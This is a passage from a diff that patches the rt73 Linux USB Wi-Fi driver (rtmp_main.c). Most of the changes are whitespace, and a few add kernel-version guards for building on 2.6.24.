Gigabyte */ \ + {USB_DEVICE(0x14b2,0x3c22)}, /* Conceptronic */ \ + {USB_DEVICE(0x0db0,0x6877)}, /* MSI */ \ + {USB_DEVICE(0x0db0,0xa874)}, /* MSI */ \ + {USB_DEVICE(0x0db0,0xa861)}, /* MSI */ \ + {USB_DEVICE(0x07b8,0xb21d)}, /* AboCom */ \ + {USB_DEVICE(0x0769,0x31f3)}, /* Surecom */ \ + {USB_DEVICE(0x1472,0x0009)}, /* Huawei-3Com */ \ + {USB_DEVICE(0x1371,0x9022)}, /* CNet */ \ + {USB_DEVICE(0x1371,0x9032)}, /* CNet */ \ + {USB_DEVICE(0x1631,0xc019)}, /* Billionton */ \ + {USB_DEVICE(0x1044,0x800a)}, /* Gigabyte */ \ + {USB_DEVICE(0x07d1,0x3c03)}, /* D-Link */ \ + {USB_DEVICE(0x07d1,0x3c04)}, /* D-Link */ \ + {USB_DEVICE(0x050d,0x7050)}, /* Belkin */ \ + {USB_DEVICE(0x050d,0x705a)}, /* Belkin */ \ + {USB_DEVICE(0x13b1,0x0020)}, /* Linksys */ \ + {USB_DEVICE(0x18e8,0x6196)}, /* Qcom*/ \ + {USB_DEVICE(0x0df6,0x9712)}, /* Sitecom */ \ + {USB_DEVICE(0x06f8,0xe010)}, /* Hercules */ \ + {USB_DEVICE(0x1690,0x0722)}, /* Askey */ \ + {USB_DEVICE(0x0df6,0x90ac)}, /* Sitecom */ \ + {USB_DEVICE(0x13b1,0x0023)}, /* LinkSys */ \ + {}} /* end marker */ +#endif #endif // __RTMP_DEF_H__ diff -Naur rt73-k2wrlz-2.0.1/Module/rtmp_main.c rt73-k2wrlz-2.0.1-24/Module/rtmp_main.c --- rt73-k2wrlz-2.0.1/Module/rtmp_main.c 2007-10-26 21:35:39.000000000 +0200 +++ rt73-k2wrlz-2.0.1-24/Module/rtmp_main.c 2008-02-13 23:03:14.000000000 +0100 @@ -1,26 +1,26 @@ -/*************************************************************************** - * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, write to the * - * Free Software Foundation, Inc., * - * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * - * * - * Licensed under the GNU GPL * - * Original code supplied under license from RaLink Inc, 2004. * +/*************************************************************************** + * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the * + * Free Software Foundation, Inc., * + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * + * * + * Licensed under the GNU GPL * + * Original code supplied under license from RaLink Inc, 2004. * ***************************************************************************/ -/*************************************************************************** +/*************************************************************************** * Module Name: rtmp_main.c * * Abstract: Main initialization routines @@ -29,8 +29,8 @@ * Who When What * -------- ---------- ----------------------------- * Jan Lee 01-10-2005 modified - * idamlaj 04-10-2006 Apply patch by Ace17 (from forum) - * + * idamlaj 04-10-2006 Apply patch by Ace17 (from forum) + * ***************************************************************************/ #include "rt_config.h" @@ -67,7 +67,7 @@ /* module table */ struct usb_device_id rtusb_usb_id[] = RT73_USB_DEVICES; -INT const rtusb_usb_id_len = sizeof(rtusb_usb_id) / sizeof(struct usb_device_id); +INT const rtusb_usb_id_len = sizeof(rtusb_usb_id) / sizeof(struct usb_device_id); MODULE_DEVICE_TABLE(usb, rtusb_usb_id); @@ -158,7 +158,7 @@ // for cslip etc pAd->stats.rx_compressed = 0; pAd->stats.tx_compressed = 0; - + return &pAd->stats; } @@ -214,22 +214,22 @@ #endif VOID RTUSBHalt( - IN PRTMP_ADAPTER pAd, + IN PRTMP_ADAPTER pAd, IN BOOLEAN IsFree) { MLME_DISASSOC_REQ_STRUCT DisReq; MLME_QUEUE_ELEM MsgElem; INT i; - + DBGPRINT(RT_DEBUG_TRACE, "====> RTUSBHalt\n"); // - // before set flag fRTMP_ADAPTER_HALT_IN_PROGRESS, + // before set flag fRTMP_ADAPTER_HALT_IN_PROGRESS, // we should send a disassoc frame to our AP. // if (!RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST)) { - if (INFRA_ON(pAd)) + if (INFRA_ON(pAd)) { COPY_MAC_ADDR(DisReq.Addr, pAd->PortCfg.Bssid); DisReq.Reason = REASON_DISASSOC_STA_LEAVING; @@ -252,7 +252,7 @@ RTMPSendNullFrame(pAd, RATE_6); RTMPusecDelay(1000); } - + // disable BEACON generation and other BEACON related hardware timers AsicDisableSync(pAd); RTMPSetLED(pAd, LED_HALT); @@ -281,23 +281,23 @@ // Free the entire adapter object ReleaseAdapter(pAd, IsFree, FALSE); - + // reset mlme & command thread pAd->MLMEThr_pid = -1; pAd->RTUSBCmdThr_pid = -1; - + RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_HALT_IN_PROGRESS); } VOID CMDHandler( - IN PRTMP_ADAPTER pAd) + IN PRTMP_ADAPTER pAd) { PCmdQElmt cmdqelmt; PUCHAR pData; NDIS_STATUS NdisStatus = NDIS_STATUS_SUCCESS; ULONG IrqFlags; ULONG Now; - + while (pAd->CmdQ.size > 0) { NdisStatus = NDIS_STATUS_SUCCESS; @@ -339,7 +339,7 @@ // Update extra information pAd->ExtraInfo = HW_RADIO_OFF; } - } + } } break; @@ -351,11 +351,11 @@ { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -372,17 +372,17 @@ RTUSBMlmeUp(pAd); } break; - + case RT_OID_802_11_BSSID: { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -399,16 +399,16 @@ RTUSBMlmeUp(pAd); } break; - + case OID_802_11_SSID: { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) - { - MlmeEnqueue(pAd, + { + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -421,7 +421,7 @@ MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, OID_802_11_SSID, - cmdqelmt->bufferlength, + cmdqelmt->bufferlength, pData); RTUSBMlmeUp(pAd); } @@ -431,11 +431,11 @@ { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -456,7 +456,7 @@ NDIS_802_11_ANTENNA Antenna = *(NDIS_802_11_ANTENNA *)pData; - if (Antenna == 0) + if (Antenna == 0) pAd->Antenna.field.RxDefaultAntenna = 1; // ant-A else if(Antenna == 1) pAd->Antenna.field.RxDefaultAntenna = 2; // ant-B @@ -473,7 +473,7 @@ { NDIS_802_11_ANTENNA Antenna = *(NDIS_802_11_ANTENNA *)pData; - if (Antenna == 0) + if (Antenna == 0) pAd->Antenna.field.TxDefaultAntenna = 1; // ant-A else if(Antenna == 1) pAd->Antenna.field.TxDefaultAntenna = 2; // ant-B @@ -517,7 +517,7 @@ RTUSBReadEEPROM(pAd, Offset, pData + 4, Length); } break; - + case RT_OID_USB_VENDOR_EEPROM_WRITE: { USHORT Offset = *((PUSHORT)pData); @@ -563,26 +563,26 @@ case RT_OID_USB_RESET_BULK_OUT: { INT Index; - + DBGPRINT_RAW(RT_DEBUG_ERROR, "RT_OID_USB_RESET_BULK_OUT\n"); - + RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); - RTUSBRejectPendingPackets(pAd); //reject all NDIS packets waiting in TX queue + RTUSBRejectPendingPackets(pAd); //reject all NDIS packets waiting in TX queue RTUSBCancelPendingBulkOutIRP(pAd); RTUSBCleanUpDataBulkOutQueue(pAd); NICInitializeAsic(pAd); ReleaseAdapter(pAd, FALSE, TRUE); // unlink urb releated tx context NICInitTransmit(pAd); - - RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); - + + RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); + if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_BULKOUT_RESET)) { RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_BULKOUT_RESET); } - + if (!RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_RADIO_OFF)) { for (Index = 0; Index < 4; Index++) @@ -594,8 +594,8 @@ } RTUSBKickBulkOut(pAd); - } - } + } + } break; @@ -618,7 +618,7 @@ } if (pRxContext->TransferBuffer != NULL) { - kfree(pRxContext->TransferBuffer); + kfree(pRxContext->TransferBuffer); pRxContext->TransferBuffer = NULL; } } @@ -722,9 +722,9 @@ //disable Rx RTUSBWriteMACRegister(pAd, TXRX_CSR2, 1); //Ask our device to complete any pending bulk in IRP. - while ((atomic_read(&pAd->PendingRx) > 0) || + while ((atomic_read(&pAd->PendingRx) > 0) || (pAd->BulkOutPending[0] == TRUE) || - (pAd->BulkOutPending[1] == TRUE) || + (pAd->BulkOutPending[1] == TRUE) || (pAd->BulkOutPending[2] == TRUE) || (pAd->BulkOutPending[3] == TRUE)) @@ -743,7 +743,7 @@ } if ((pAd->BulkOutPending[0] == TRUE) || - (pAd->BulkOutPending[1] == TRUE) || + (pAd->BulkOutPending[1] == TRUE) || (pAd->BulkOutPending[2] == TRUE) || (pAd->BulkOutPending[3] == TRUE)) { @@ -758,7 +758,7 @@ RTMPusecDelay(500000); } - NICResetFromError(pAd); + NICResetFromError(pAd); if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_HARDWARE_ERROR)) { RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_HARDWARE_ERROR); @@ -814,12 +814,12 @@ case RT_OID_VENDOR_WRITE_RF: { ULONG Value = *((PULONG)pData); - + DBGPRINT_RAW(RT_DEBUG_INFO, "value = 0x%08x\n", Value); RTUSBWriteRFRegister(pAd, Value); } break; - + case RT_OID_802_11_RESET_COUNTERS: { UCHAR Value[22]; @@ -865,7 +865,7 @@ NULL, 0); break; -#endif +#endif case RT_OID_VENDOR_FLIP_IQ: { ULONG Value1, Value2; @@ -926,7 +926,7 @@ else NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_NETWORK_TYPE_IN_USE (=%d)\n",NetType); - + } break; case RT_OID_802_11_PHY_MODE: @@ -958,7 +958,7 @@ pAd->PortCfg.GroupCipher = WepStatus; #if 1 - if ((WepStatus == Ndis802_11Encryption1Enabled) && + if ((WepStatus == Ndis802_11Encryption1Enabled) && (pAd->SharedKey[pAd->PortCfg.DefaultKeyId].KeyLen != 0)) { if (pAd->SharedKey[pAd->PortCfg.DefaultKeyId].KeyLen <= 5) @@ -973,7 +973,7 @@ pAd->SharedKey[pAd->PortCfg.DefaultKeyId].CipherAlg = CIPHER_WEP128; } -#if 0 +#if 0 RTUSBReadMACRegister_old(pAd, TXRX_CSR0, &Value); Value &= 0xfe00; Value |= ((LENGTH_802_11 << 3) | (pAd->PortCfg.CipherAlg)); @@ -1013,7 +1013,7 @@ Value &= 0xfe00; RTUSBWriteMACRegister_old(pAd, TXRX_CSR0, Value); #endif - }else + }else { DBGPRINT(RT_DEBUG_ERROR, " ERROR Cipher !!! \n"); } @@ -1027,7 +1027,7 @@ PNDIS_802_11_WEP pWepKey; DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_WEP \n"); - + pWepKey = (PNDIS_802_11_WEP)pData; KeyIdx = pWepKey->KeyIndex & 0x0fffffff; @@ -1037,7 +1037,7 @@ NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_ADD_WEP, INVALID_DATA!!\n"); } - else + else { UCHAR CipherAlg; pAd->SharedKey[KeyIdx].KeyLen = (UCHAR) pWepKey->KeyLength; @@ -1048,18 +1048,18 @@ { // Default key for tx (shared key) pAd->PortCfg.DefaultKeyId = (UCHAR) KeyIdx; - } + } AsicAddSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx, CipherAlg, pWepKey->KeyMaterial, NULL, NULL); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_WEP (KeyIdx=%d, Len=%d-byte)\n", KeyIdx, pWepKey->KeyLength); } } break; - + case OID_802_11_REMOVE_WEP: { ULONG KeyIdx; - + KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; if (KeyIdx & 0x80000000) { @@ -1081,14 +1081,14 @@ AsicRemoveSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_REMOVE_WEP (KeyIdx=%d)\n", KeyIdx); } - } + } } break; case OID_802_11_ADD_KEY_WEP: { PNDIS_802_11_KEY pKey; - ULONG i, KeyIdx; + ULONG i, KeyIdx; pKey = (PNDIS_802_11_KEY) pData; KeyIdx = pKey->KeyIndex & 0x0fffffff; @@ -1099,10 +1099,10 @@ NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_ADD_KEY_WEP, Invalid KeyIdx[=%d]!!\n", KeyIdx); } - else + else { UCHAR CipherAlg; - + pAd->SharedKey[KeyIdx].KeyLen = (UCHAR) pKey->KeyLength; memcpy(pAd->SharedKey[KeyIdx].Key, &pKey->KeyMaterial, pKey->KeyLength); @@ -1118,12 +1118,12 @@ { for(i = 1; i < (16 / pKey->KeyLength); i++) { - memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], - &pKey->KeyMaterial[0], + memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], + &pKey->KeyMaterial[0], pKey->KeyLength); } - memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], - &pKey->KeyMaterial[0], + memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], + &pKey->KeyMaterial[0], 16 - (i * pKey->KeyLength)); } @@ -1135,16 +1135,16 @@ } AsicAddSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx, CipherAlg, pAd->SharedKey[KeyIdx].Key, NULL, NULL); - DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY_WEP (KeyIdx=%d, KeyLen=%d, CipherAlg=%d)\n", + DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY_WEP (KeyIdx=%d, KeyLen=%d, CipherAlg=%d)\n", pAd->PortCfg.DefaultKeyId, pAd->SharedKey[KeyIdx].KeyLen, pAd->SharedKey[KeyIdx].CipherAlg); } } break; case OID_802_11_ADD_KEY: - { + { PNDIS_802_11_KEY pkey = (PNDIS_802_11_KEY)pData; - + NdisStatus = RTMPWPAAddKeyProc(pAd, pkey); RTUSBBulkReceive(pAd); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY\n"); @@ -1157,7 +1157,7 @@ { ULONG KeyIdx; - + KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; if (KeyIdx & 0x80000000) { @@ -1179,7 +1179,7 @@ } } break; -#if 0 +#if 0 { //PNDIS_802_11_REMOVE_KEY pRemoveKey; ULONG KeyIdx; @@ -1190,7 +1190,7 @@ DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_WEP\n"); //if (InformationBufferLength != sizeof(NDIS_802_11_KEY_INDEX)) // Status = NDIS_STATUS_INVALID_LENGTH; - //else + //else { KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; @@ -1223,17 +1223,17 @@ { PNDIS_802_11_REMOVE_KEY pRemoveKey; ULONG KeyIdx; - + pRemoveKey = (PNDIS_802_11_REMOVE_KEY) pData; if (pAd->PortCfg.AuthMode >= Ndis802_11AuthModeWPA) { NdisStatus = RTMPWPARemoveKeyProc(pAd, pData); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::RTMPWPARemoveKeyProc\n"); } - else + else { KeyIdx = pRemoveKey->KeyIndex; - + if (KeyIdx & 0x80000000) { // Should never set default bit when remove key @@ -1246,7 +1246,7 @@ if (KeyIdx >= 4) { NdisStatus = NDIS_STATUS_FAILURE; - DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_KEY, Invalid KeyIdx[=%d]!!\n", KeyIdx); + DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_KEY, Invalid KeyIdx[=%d]!!\n", KeyIdx); } else { @@ -1260,24 +1260,24 @@ } break; - + case OID_802_11_POWER_MODE: { NDIS_802_11_POWER_MODE PowerMode = *(PNDIS_802_11_POWER_MODE) pData; DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_POWER_MODE (=%d)\n",PowerMode); - + // save user's policy here, but not change PortCfg.Psm immediately - if (PowerMode == Ndis802_11PowerModeCAM) + if (PowerMode == Ndis802_11PowerModeCAM) { // clear PSM bit immediately MlmeSetPsmBit(pAd, PWR_ACTIVE); - - OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); + + OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); if (pAd->PortCfg.bWindowsACCAMEnable == FALSE) pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; - } - else if (PowerMode == Ndis802_11PowerModeMAX_PSP) + } + else if (PowerMode == Ndis802_11PowerModeMAX_PSP) { // do NOT turn on PSM bit here, wait until MlmeCheckPsmChange() // to exclude certain situations. @@ -1285,10 +1285,10 @@ if (pAd->PortCfg.bWindowsACCAMEnable == FALSE) pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; - OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); + OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); pAd->PortCfg.DefaultListenCount = 5; - } - else if (PowerMode == Ndis802_11PowerModeFast_PSP) + } + else if (PowerMode == Ndis802_11PowerModeFast_PSP) { // do NOT turn on PSM bit here, wait until MlmeCheckPsmChange() // to exclude certain situations. @@ -1298,8 +1298,8 @@ pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; pAd->PortCfg.DefaultListenCount = 3; - } - } + } + } break; case RT_PERFORM_SOFT_DIVERSITY: @@ -1318,7 +1318,7 @@ break; } - + if (cmdqelmt->CmdFromNdis == TRUE) { if ((cmdqelmt->command != OID_802_11_BSSID_LIST_SCAN) && @@ -1330,20 +1330,20 @@ if ((cmdqelmt->command != RT_OID_MULTI_READ_MAC) && (cmdqelmt->command != RT_OID_VENDOR_READ_BBP) && -#ifdef DBG +#ifdef DBG (cmdqelmt->command != RT_OID_802_11_QUERY_HARDWARE_REGISTER) && -#endif +#endif (cmdqelmt->command != RT_OID_USB_VENDOR_EEPROM_READ)) { if (cmdqelmt->buffer != NULL) kfree(cmdqelmt->buffer); } - + kfree((PCmdQElmt)cmdqelmt); } else cmdqelmt->InUse = FALSE; - + } @@ -1443,16 +1443,16 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; NDIS_STATUS Status = NDIS_STATUS_SUCCESS; UCHAR TmpPhy; - + printk("rt73 driver version - %s\n", DRIVER_VERSION); init_MUTEX(&(pAd->usbdev_semaphore)); - + // init mediastate to disconnected OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); - + pAd->rx_bh.func = RTUSBRxPacket; - + // Initialize pAd->PortCfg to manufacture default PortCfgInit(pAd); @@ -1481,19 +1481,19 @@ { goto out; } - + // Wait for hardware stable { ULONG MacCsr0 = 0, Index = 0; - + do { Status = RTUSBReadMACRegister(pAd, MAC_CSR0, &MacCsr0); if (MacCsr0 != 0) break; - + RTMPusecDelay(1000); } while (Index++ < 1000); DBGPRINT(RT_DEBUG_TRACE, "Init: MAC_CSR0=0x%08x, Status=0x%08x\n", MacCsr0, Status); @@ -1509,8 +1509,8 @@ // Initialize Asics NICInitializeAsic(pAd); - // Read RaConfig profile parameters -#ifdef READ_PROFILE_FROM_FILE + // Read RaConfig profile parameters +#ifdef READ_PROFILE_FROM_FILE RTMPReadParametersFromFile(pAd); #endif @@ -1560,7 +1560,7 @@ memcpy(pAd->net_dev->dev_addr, pAd->CurrentAddress, pAd->net_dev->addr_len); else memcpy(pAd->CurrentAddress, pAd->net_dev->dev_addr, pAd->net_dev->addr_len); - + // Clear Reset Flag before starting receiving/transmitting RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_IN_PROGRESS); @@ -1577,10 +1577,10 @@ // USB_ID info for UI pAd->VendorDesc = 0x148F2573; - + // Start net_dev interface tx /rx netif_start_queue(net_dev); - + netif_carrier_on(net_dev); netif_wake_queue(net_dev); return 0; @@ -1598,17 +1598,17 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; int ret; int i = 0; - - DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); + + DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); DECLARE_WAITQUEUE (wait, current); - + DBGPRINT(RT_DEBUG_TRACE,"-->rt73_close\n"); - + netif_carrier_off(pAd->net_dev); netif_stop_queue(pAd->net_dev); DBGPRINT(RT_DEBUG_INFO,"Ensure there are no more active urbs \n"); - // ensure there are no more active urbs. + // ensure there are no more active urbs. add_wait_queue (&unlink_wakeup, &wait); pAd->wait = &unlink_wakeup; // maybe wait for deletions to finish. @@ -1618,35 +1618,35 @@ DBGPRINT (RT_DEBUG_INFO,"waited for %d urb to complete\n", atomic_read(&pAd->PendingRx)); } pAd->wait = NULL; - remove_wait_queue (&unlink_wakeup, &wait); + remove_wait_queue (&unlink_wakeup, &wait); - if (pAd->MLMEThr_pid >= 0) + if (pAd->MLMEThr_pid >= 0) { mlme_kill = 1; RTUSBMlmeUp(pAd); wmb(); // need to check ret = kill_proc (pAd->MLMEThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; Fix process killing } wait_for_completion (&pAd->notify); } - if (pAd->RTUSBCmdThr_pid>= 0) + if (pAd->RTUSBCmdThr_pid>= 0) { RTUSBCmd_kill = 1; RTUSBCMDUp(pAd); wmb(); // need to check ret = kill_proc (pAd->RTUSBCmdThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; Fix process killing } wait_for_completion (&pAd->notify); } - + RTUSBHalt(pAd, TRUE); DBGPRINT(RT_DEBUG_TRACE,"<--rt73_close\n"); @@ -1676,7 +1676,7 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - MlmeHandler(pAd); + MlmeHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); @@ -1703,7 +1703,7 @@ } #endif - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -1744,13 +1744,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - CMDHandler(pAd); + CMDHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -1771,12 +1771,12 @@ static void *usb_rtusb_probe(struct usb_device *dev, UINT interface, const struct usb_device_id *id_table) -{ +{ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; int i; struct net_device *netdev; int res = -ENOMEM; - + for (i = 0; i < rtusb_usb_id_len; i++) { if (le32_to_cpu(dev->descriptor.idVendor) == rtusb_usb_id[i].idVendor && @@ -1797,20 +1797,22 @@ if(!netdev) { printk("alloc_etherdev failed\n"); - + MOD_DEC_USE_COUNT; usb_dec_dev_use(dev); return NULL; } - + pAd = netdev->priv; pAd->net_dev = netdev; netif_stop_queue(netdev); pAd->config = dev->config; pAd->pUsb_Dev= dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAd->net_dev); +#endif ether_setup(pAd->net_dev); - + netdev->open = usb_rtusb_open; netdev->hard_start_xmit = RTMPSendPackets; netdev->stop = usb_rtusb_close; @@ -1826,22 +1828,24 @@ pAd->net_dev->hard_header_len = 14; pAd->net_dev->mtu = 1500; pAd->net_dev->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAd->net_dev->weight = 64; +#endif OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); - {// find available + {// find available int i=0; char slot_name[IFNAMSIZ]; struct net_device *device; - struct usb_interface *ifp= &dev->actconfig->interface[interface]; // get interface from system + struct usb_interface *ifp= &dev->actconfig->interface[interface]; // get interface from system struct usb_interface_descriptor *as; - struct usb_endpoint_descriptor *ep; + struct usb_endpoint_descriptor *ep; for (i = 0; i < 8; i++) { sprintf(slot_name, "rausb%d", i); - + read_lock_bh(&dev_base_lock); // avoid multiple init for (device = dev_base; device != NULL; device = device->next) { @@ -1876,13 +1880,13 @@ //pAd->rx_bh.data = (unsigned long)pAd; pAd->rx_bh.func = RTUSBRxPacket; - + res = register_netdev(pAd->net_dev); if (res) goto out; return pAd; - + out: printk("register_netdev failed err=%d\n",res); return NULL; @@ -1892,16 +1896,16 @@ static void usb_rtusb_disconnect(struct usb_device *dev, void *ptr) { PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) ptr; - + if (!pAd) return; - + tasklet_kill(&pAd->rx_bh); RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST); // for debug, wait to show some messages to /proc system udelay(1); - //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, + //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, //need to check why??? //assert(pAd->net_dev != NULL) if(pAd->net_dev != NULL) @@ -1926,19 +1930,19 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; int ret; int i = 0; - - DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); + + DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); DECLARE_WAITQUEUE (wait, current); - + DBGPRINT(RT_DEBUG_TRACE,"-->rt73_close \n"); - + netif_carrier_off(pAd->net_dev); netif_stop_queue(pAd->net_dev); - // ensure there are no more active urbs. + // ensure there are no more active urbs. add_wait_queue (&unlink_wakeup, &wait); pAd->wait = &unlink_wakeup; - + // maybe wait for deletions to finish. while ((i < 25) && atomic_read(&pAd->PendingRx) > 0) { #if LINUX_VERSION_CODE >KERNEL_VERSION(2,6,9) @@ -1948,28 +1952,28 @@ i++; } pAd->wait = NULL; - remove_wait_queue (&unlink_wakeup, &wait); + remove_wait_queue (&unlink_wakeup, &wait); - if (pAd->MLMEThr_pid >= 0) + if (pAd->MLMEThr_pid >= 0) { mlme_kill = 1; RTUSBMlmeUp(pAd); wmb(); // need to check ret = kill_proc (pAd->MLMEThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; } wait_for_completion (&pAd->notify); } - if (pAd->RTUSBCmdThr_pid>= 0) + if (pAd->RTUSBCmdThr_pid>= 0) { RTUSBCmd_kill = 1; RTUSBCMDUp(pAd); wmb(); // need to check ret = kill_proc (pAd->RTUSBCmdThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; @@ -1977,7 +1981,7 @@ wait_for_completion (&pAd->notify); } RTUSBHalt(pAd, TRUE); - + DBGPRINT(RT_DEBUG_TRACE,"<--rt73_close \n"); return 0; @@ -2008,13 +2012,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - MlmeHandler(pAd); + MlmeHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -2057,13 +2061,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - CMDHandler(pAd); + CMDHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -2082,7 +2086,7 @@ static int 